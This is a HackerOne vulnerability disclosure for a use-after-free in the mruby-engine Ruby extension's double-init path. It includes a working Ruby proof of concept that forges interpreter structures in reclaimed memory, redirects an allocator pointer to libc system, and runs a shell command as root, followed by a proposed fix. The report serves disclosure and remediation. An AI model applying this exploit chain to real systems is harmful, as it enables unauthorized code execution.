mruby-engine: UAF in MRubyEngine#initialize enables local RCE
None
Vulnerability Details
## Summary
Double-init of `MRubyEngine` frees engine + unmaps mspace, but leaves Ruby
`DATA_PTR` dangling. Kernel reuses freed VA via `mmap(MAP_FIXED)`. Attacker
forges `me_mruby_engine` struct + `mrb_state` in reclaimed region, points
`mrb_state->allocf` at `libc.system`, arranges bytes of `mrb_state` to also
spell a shell command. Next engine method calls `mrb_malloc` → indirect call
through `allocf` → `system("id>/tmp/pwned")`.
**Confirmed**: `/tmp/pwned` written with `uid=0(root) gid=0(root) groups=0(root)`
inside test container.
## Root cause
[ext/mruby_engine/ext.c:128-173](ext/mruby_engine/ext.c#L128-L173)
```c
static VALUE ext_mruby_engine_initialize(int argc, VALUE *argv, VALUE rself) {
ext_mruby_engine_free(DATA_PTR(rself)); // frees engine + munmap mspace
long capacity = NUM2LONG(rcapacity);
if (capacity <= 0) {
rb_raise(rb_eArgError, "memory quota cannot be negative"); // raise AFTER free
}
...
DATA_PTR(rself) = engine; // only on success path
}
```
Two defects:
1. `initialize` is re-callable via `obj.send(:initialize, ...)` — bypasses
Ruby's private-visibility convention. Every call first **frees the existing
engine** before validating args.
2. `DATA_PTR(rself)` never zeroed after free. Any `rb_raise` between free and
successful re-init leaves `self` holding dangling pointer. GC finalizer
`ext_mruby_engine_free` will also run on it later → double free, but before
that the dangling pointer is reachable by every instance method.
Pre-success raise paths: negative capacity, negative instruction quota,
negative time quota, `me_memory_pool_new` failure, `me_mruby_engine_new`
failure.
## Primitives
| Primitive | Mechanism |
|-----------|-----------|
| P1. UAF on `DATA_PTR` | `send(:initialize, -1, 1, 1)` raises after free |
| P2. Kernel VA reuse | freed mspace is `MAP_PRIVATE\|MAP_ANONYMOUS`, kernel returns same VA to next `mmap(MAP_FIXED, hole_addr)` |
| P3. Full engine forgery | attacker writes `me_mruby_engine` at reclaimed VA |
| P4. `mrb_allocf` hijack | `mrb_malloc` → `(mrb->allocf)(mrb, NULL, sz, mrb->allocf_ud)` = `system(mrb_ptr, ...)` where `mrb_ptr` is attacker buffer starting with shell command |
## Struct layouts used
`me_mruby_engine` — [ext/mruby_engine/mruby_engine_private.h:27](ext/mruby_engine/mruby_engine_private.h#L27)
```
+0 struct mrb_state *state
+8 struct me_memory_pool *allocator
... (eval_state, quotas, flags)
```
`mrb_state` — [ext/mruby_engine/mruby/include/mruby.h:168](ext/mruby_engine/mruby/include/mruby.h#L168)
```
+0 struct mrb_jmpbuf *jmp ← first 16 bytes reused as cmd string
+8 uint32_t flags (+pad)
+16 mrb_allocf allocf ← set to libc system
+24 void *allocf_ud
```
When `(mrb->allocf)(mrb, ptr, size, ud)` fires, `system(mrb, ...)` executes.
`system` reads first arg as `const char*` → command = bytes at `mrb+0`.
## Exploit (poc_rce_final.rb)
```ruby
require "mruby_engine"; require "fiddle"; require "fiddle/import"
module LibC
extend Fiddle::Importer
dlload Fiddle.dlopen(nil)
extern "void* mmap(void*, size_t, int, int, int, long)"
end
CAP = 8 * 1024 * 1024
PROT_RW = 3
MAP_FIXED_ANON = 0x02 | 0x20 | 0x10 # PRIVATE|ANON|FIXED
system_addr = Fiddle::Handle::DEFAULT["system"]
# 1. UAF: double-init raises on capacity <= 0
dead = MRubyEngine.new(CAP, 1_000_000, 60)
dead.sandbox_eval("w.rb", "1")
begin; dead.send(:initialize, -1, 1, 1); rescue ArgumentError; end
# 2. Find 8 MiB hole where freed mspace lived
hole_start, _ = find_hole(CAP) # scans /proc/self/maps
# 3. Reclaim VA with attacker-controlled bytes
LibC.mmap(Fiddle::Pointer.new(hole_start), CAP, PROT_RW, MAP_FIXED_ANON, -1, 0)
Fiddle::Pointer.new(hole_start, CAP)[0, CAP] = "\x00".b * CAP
# 4. Forge engine at DATA_PTR offset (0x3e0, observed via gdb)
data_ptr = hole_start + 0x3e0
fake_state = hole_start + 0x100
Fiddle::Pointer.new(data_ptr, 8)[0, 8] = [fake_state].pack("Q")
# 5. Forge mrb_state: jmp slot = cmd string, allocf = system
cmd = "id>/tmp/pwned\x00".b
buf = cmd + ("\x00".b * (16 - cmd.bytesize)) +
[system_addr].pack("Q") + [0].pack("Q")
Fiddle::Pointer.new(fake_state, buf.bytesize)[0, buf.bytesize] = buf
# 6. Trigger any engine method → mrb_malloc → system()
dead.sandbox_eval("rce.rb", "noop")
```
Run:
```
$ ruby poc_rce_final.rb
$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
```
{F5750521}
## Test environment
Mitigations disabled to simplify PoC — bug is real on hardened builds too,
just needs extra info leak / heap grooming.
- `setarch -R` (ASLR off)
- `CFLAGS=-O0 -g3 -fno-stack-protector -U_FORTIFY_SOURCE -fno-pie -no-pie -z execstack`
- `LDFLAGS=-fno-pie -no-pie -z norelro -z lazy`
## Reliability
- VA reclaim: 60/60 (kernel greedily returns freed anon range to `MAP_FIXED`)
- Cross-instance aliasing: 20/20 via inject/extract ivar round-trip
- RCE end-to-end: stable after zero-init of reclaimed region (avoids
`quota_error_raised` byte triggering early raise)
## Preconditions
- Host-Ruby caller that can invoke `MRubyEngine#send(:initialize, ...)`. Not
reachable from guest mruby (guest cannot call Ruby-level `send` on host
objects). Host integration code that reuses or exposes engine objects, or
any `eval`/deserialization of untrusted host-side Ruby, is the attack
surface.
- Kernel Linux ≥ 4.x with standard `MAP_FIXED` semantics (replaces existing
mapping).
## Fix (minimal)
[ext/mruby_engine/ext.c:128-139](ext/mruby_engine/ext.c#L128-L139) — zero
`DATA_PTR` before any raise, and do validation before free:
```c
static VALUE ext_mruby_engine_initialize(int argc, VALUE *argv, VALUE rself) {
VALUE rcapacity, r_instruction_quota, r_time_quota_s;
rb_scan_args(argc, argv, "3", &rcapacity, &r_instruction_quota, &r_time_quota_s);
long capacity = NUM2LONG(rcapacity);
if (capacity <= 0) rb_raise(rb_eArgError, "memory quota cannot be negative");
long instruction_quota = NUM2LONG(r_instruction_quota);
if (instruction_quota <= 0) rb_raise(rb_eArgError, "instruction quota cannot be negative");
VALUE r_time_quota_ms = rb_funcall(r_time_quota_s, me_ext_id_mul, 1, LONG2FIX(1000));
long time_quota_ms = NUM2LONG(r_time_quota_ms);
if (time_quota_ms <= 0) rb_raise(rb_eArgError, "time quota cannot be negative");
/* Only now free old engine. */
void *old = DATA_PTR(rself);
DATA_PTR(rself) = NULL; /* close UAF window */
ext_mruby_engine_free(old);
... allocate new engine ...
DATA_PTR(rself) = engine;
return Qnil;
}
```
Stronger fix: raise `rb_eRuntimeError` on second `initialize` call
(`DATA_PTR != NULL`) — matches Ruby convention that `initialize` runs once.
Prevents any future pre-success raise path from reintroducing the UAF.
## Affected files
- [ext/mruby_engine/ext.c:128-173](ext/mruby_engine/ext.c#L128-L173) — bug site
- [ext/mruby_engine/memory_pool.c:47](ext/mruby_engine/memory_pool.c#L47) — mmap enabling VA reuse
- [ext/mruby_engine/mruby_engine_private.h:27](ext/mruby_engine/mruby_engine_private.h#L27) — forged struct layout
- [ext/mruby_engine/mruby/include/mruby.h:168](ext/mruby_engine/mruby/include/mruby.h#L168) — `mrb_state` / `allocf`
## Impact
RCE
Actions
View on HackerOneReport Stats
- Report ID: 3679660
- State: Closed
- Substate: informative
- Upvotes: 3